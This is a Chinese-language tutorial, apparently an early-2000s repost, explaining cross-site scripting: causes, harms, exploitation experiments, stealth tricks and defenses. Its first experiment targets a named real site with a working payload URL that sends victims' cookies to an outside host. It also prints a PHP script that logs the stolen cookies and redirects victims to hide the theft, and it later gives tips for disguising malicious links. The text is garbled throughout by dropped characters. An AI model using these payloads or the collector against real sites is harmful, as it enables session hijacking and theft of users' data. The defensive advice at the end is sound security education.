跨站脚本漏洞:跨站脚本执行漏洞详解

本文主要介绍跨站脚本执行漏洞成因形式危害利用方式隐藏窍门技巧解决思路方法和常见问题 (FAQ)由于目前介绍跨站脚本执行漏洞资料还不是很多而且般也不是很详细所以希望本文能够 比较详细介绍该漏洞由于时间仓促水平有限本文可能有不少希望大家不吝赐教

声明请不要利用本文介绍任何内容代码或思路方法进行破坏否则切后果自负!

【漏洞成因】
原因很简单就是CGI没有对用户提交变量中HTML代码进行过滤或转换

【漏洞形式】
这里所说形式实际上是指CGI输入形式主要分为两种:
1.显示输入
2.隐式输入
其中显示输入明确要求用户输入数据而隐式输入则本来并不要求用户输入数据但是用户却可以通 过输入数据来进行干涉
显示输入又可以分为两种:
1. 输入完成立刻输出结果
2. 输入完成先存储在文本文件或数据库中然后再输出结果
注意:后者可能会让你网站WebSite面目全非!:(
而隐式输入除了些正常情况外还可以利用服务器或CGI处理信息方式来实施

【漏洞危害】
大家最关心大概就要算这个问题了下面列举可能并不全面也不系统但是我想应该是比较典 型
1. 获取其他用户Cookie中敏感数据
2. 屏蔽页面特定信息
3. 伪造页面信息
4. 拒绝服务攻击
5. 突破外网内网区别安全设置
6. 和其它漏洞结合修改系统设置查看系统文件执行系统命令等
7. 其它
般来说上面危害还经常伴随着页面变形情况而所谓跨站脚本执行漏洞也就是通过别人 网站WebSite达到攻击效果也就是说这种攻击能在定程度上隐藏身份

【利用方式】
下面我们将通过具体例子来演示上面各种危害这样应该更能介绍说明问题而且更易于理解为了条 理更清晰我们将针对每种危害做个实验
为了做好这些实验我们需要个抓包软件Software我使用是Iris当然你可以选择其它软件Software比如 NetXray什么至于具体使用思路方法请参考相关帮助或手册
另外需要明白点就是:只要服务器返回用户提交信息就可能存在跨站脚本执行漏洞
切就绪我们开始做实验!:)

实验:获取其他用户Cookie中敏感信息
我们以国内著名同学录站点5460.net为例来介绍说明请按照下面步骤进行:
1. 进入首页http://www.5460.net/
2. 输入用户名“<h1>”提交发现服务器返回信息中包含了用户提交“<h1>”
3. 分析抓包数据得到实际请求:
&passwd=&ok.x=28&ok.y=6">http://www.5460.net/txl/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6
4. 构造个提交目标是能够显示用户Cookie信息:
alert(documents.cookie)http://www.5460.net/txl/login/login.pl?username=<script>alert(documents.cookie)</ script>&passwd=&ok.x=28&ok.y=6
5. 如果上面请求获得预期效果那么我们就可以尝试下面请求:
window.open("http://www.notfound.org/'>http://www.5460.net/txl/login/login.pl?username=<script>window.open("http://www.notfound.org/ info.php?"%2Bdocuments.cookie)</script>&passwd=&ok.x=28&ok.y=6
其中http://www.notfound.org/info.php是你能够控制某台主机上个脚本功能是获取查询信 息内容如下:
<?php
$info = getenv("QUERY_STRING");
($info) {
$fp = fopen("info.txt","a");
fwrite($fp,$info."/n");
fclose($fp);
}
header("Location: http://www.5460.net");
注:“%2B”为“+”URL编码并且这里只能用“%2B”“+”将被作为空格处理后面header语 句则纯粹是为了增加隐蔽性
6. 如果上面URL能够正确运行步就是诱使登陆5460.net用户访问该URL而我们就可以 获取该用户Cookie中敏感信息
7. 后面要做什么就由你决定吧!

实验 2:屏蔽页面特定信息
我们仍然以5460.net作为例子下面是个有问题CGI:
http://www.5460.net/txl/liuyan/liuyanSql.pl
该CGI接受用户提供 3个变量即nIdcsId和cName但是没有对用户提交cName变量进行任何检 查而且该CGI把cName值作为输出页面部分5460.net用户应该都比较清楚留言右下角有你 名字对吧?
既然有了上面种种条件我们可以不妨作出下面结论:
某个用户可以“屏蔽”其两次留言的间所有留言!
当然我们说“屏蔽”不是“删除”用户留言还是存在只不过由于HTML特性我们无法从 页面看到当然如果你喜欢查看源代码话就没有什么用处了但是出了我们这些研究CGI安全人来 说有多少人有事没事都看HTML源代码?
由于种种原因我在这里就不公布具体细节了大家知道原理就好了
注:仔细想想我们不仅能屏蔽留言还能匿名留言Right?

实验 3:伪造页面信息
如果你理解了上面那个实验这个实验就没有必要做了基本原理相同只是实现起来稍微麻烦点而 已

实验 4:拒绝服务攻击
现在应该知道我们在某种程度上可以控制存在跨站脚本执行漏洞服务器行为既然这样我们 就可以控制服务器进行某种消耗资源动作比如说运行包含死循环或打开无穷多个窗口javascript脚本 等等这样访问该URL用户系统就可能因此速度变慢甚至崩溃同样我们也可能在其中嵌入些脚 本让该服务器请求其它服务器上资源如果访问资源比较消耗资源并且访问人数比较多那 么被访问服务器也可能被拒绝服务而它则认为该拒绝服务攻击是由访问它服务器发起这样就可 以隐藏身份

实验 5:突破外网内网区别安全设置
这个应该很好理解吧般来说我们浏览器对区别区域设置了区别安全级别举例来说对于 Internet区域可能你不允许javascript执行而在Intranet区域你就允许javascript执行般来说前者 安全级别都要高于后者这样般情况下别人无法通过执行恶意javascript脚本对你进行攻击但是如果 和你处于相同内网服务器存在跨站脚本执行漏洞那么攻击者就有机可乘了该服务器位于Intranet 区域

实验 6:和其它漏洞结合修改系统设置查看系统文件执行系统命令等
由于和浏览器相关漏洞太多了所以可和跨站脚本执行漏洞起结合漏洞也就显得不少我想这 些问题大家都应该很清楚吧前些时间修改IE标题漏洞MIME类型执行命令漏洞还有多种多样 蠕虫都是很好例子
更多例子请参考下列链接:
Internet Explorer Pop-Up OBJECT Tag Bug
http://archives.neohapsis.com/archives/bugtraq/2002-01/0167.html
Internet Explorer javascript Modeless Popup Local Denial of Service Vulnerability
http://archives.neohapsis.com/archives/bugtraq/2002-01/0058.html
MSIE6 can read local files
http://www.xs4all.nl/~jkuperus/bug.htm
MSIE may download and run progams automatically
http://archives.neohapsis.com/archives/bugtraq/2001-12/0143.html
File extensions spoofable in MSIE download dialog
http://archives.neohapsis.com/archives/bugtraq/2001-11/0203.html
the other IE cookie stealing bug (MS01-055)
http://archives.neohapsis.com/archives/bugtraq/2001-11/0106.html
Microsoft Security Bulletin MS01-055
http://archives.neohapsis.com/archives/bugtraq/2001-11/0048.html
Serious security Flaw in Microsoft Internet Explorer - Zone Spoofing
http://archives.neohapsis.com/archives/bugtraq/2001-10/0075.html
Incorrect MIME Header Can Cause IE to Execute E-mail Attachment
http://www.kriptopolis.com/cua/eml.html

跨站脚本执行漏洞在这里角色就是隐藏真正攻击者身份

实验 7:其它
其实这类问题和跨站脚本执行漏洞没有多大关系但是在这里提下还是很有必要问题实质还 是CGI没有过滤用户提交数据然后进行了输出处理举个例子来说支持SSI服务器上CGI程 序输出了用户提交数据无论该数据是采取何种方式输入都可能导致SSI指令执行当然这是在服 务端而不是客户端执行其实像ASPPHP和Perl等CGI语言都可能导致这种问题

【隐藏窍门技巧】
出于时间考虑我在这里将主要讲下理论了相信不是很难懂如果实在有问题那么去找本书 看吧
1. URL编码
比较下:
&passwd=&ok.x=28&ok.y=6">http://www.5460.net/txl/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6
http://www.5460.net/txl/login/lo ... mp;ok.x=28&ok.y=6
你觉得哪个更有隐蔽性?!

2. 隐藏在其它对象的下
和直接给别人个链接相比你是否决定把该链接隐藏在按钮以下更好些呢?

3. 嵌入页面中
让别人访问个地址(注意这里地址区别于上面提到URL)是不是又要比让别人按个按钮容易得 多借助于Iframe你可以把这种攻击变得更隐蔽

4. 合理利用事件
合理使用事件在某些情况上可以绕过CGI对输入限制比如说前些日子SecurityFocus跨站脚本 执行漏洞

【注意事项】
般情况下直接进行类似<script>alert(documents.cookie)</script>的类攻击没有什么问题但是有时 CGI对用户输入进行了些处理比如说包含在’’或””的内这时我们就需要使用些小窍门技巧 来绕过这些限制
如果你对HTML语言比较熟悉绕过这些限制应该不成问题

【解决思路方法】
要避免受到跨站脚本执行漏洞攻击需要员和用户两方面共同努力:
员:
1. 过滤或转换用户提交数据中HTML代码
2. 限制用户提交数据长度

用户:
1. 不要轻易访问别人给你链接
2. 禁止浏览器运行javascript和ActiveX代码

附:常见浏览器修改设置位置为:
Internet Explorer:
工具->Internet选项->安全->Internet->自定义级别
工具->Internet选项->安全->Intranet->自定义级别
Opera:
文件->快速参数->允许使用Java
文件->快速参数->允许使用插件
文件->快速参数->允许使用javascript

【常见问题】
Q:跨站脚本执行漏洞在哪里存在?
A:只要是CGI只要允许用户输入就可能存在跨站脚本执行漏洞

Q:跨站脚本执行漏洞是不是只能偷别人Cookie?
A:当然不是!HTML代码能做跨站脚本执行漏洞基本都能做



  • 篇文章: ASP漏洞+SQL注入入侵思路方法

  • 篇文章: SSL中间人攻击
  • Tags:  阻止跨站脚本 跨站脚本攻击 跨站脚本 跨站脚本漏洞

    延伸阅读

    最新评论

    发表评论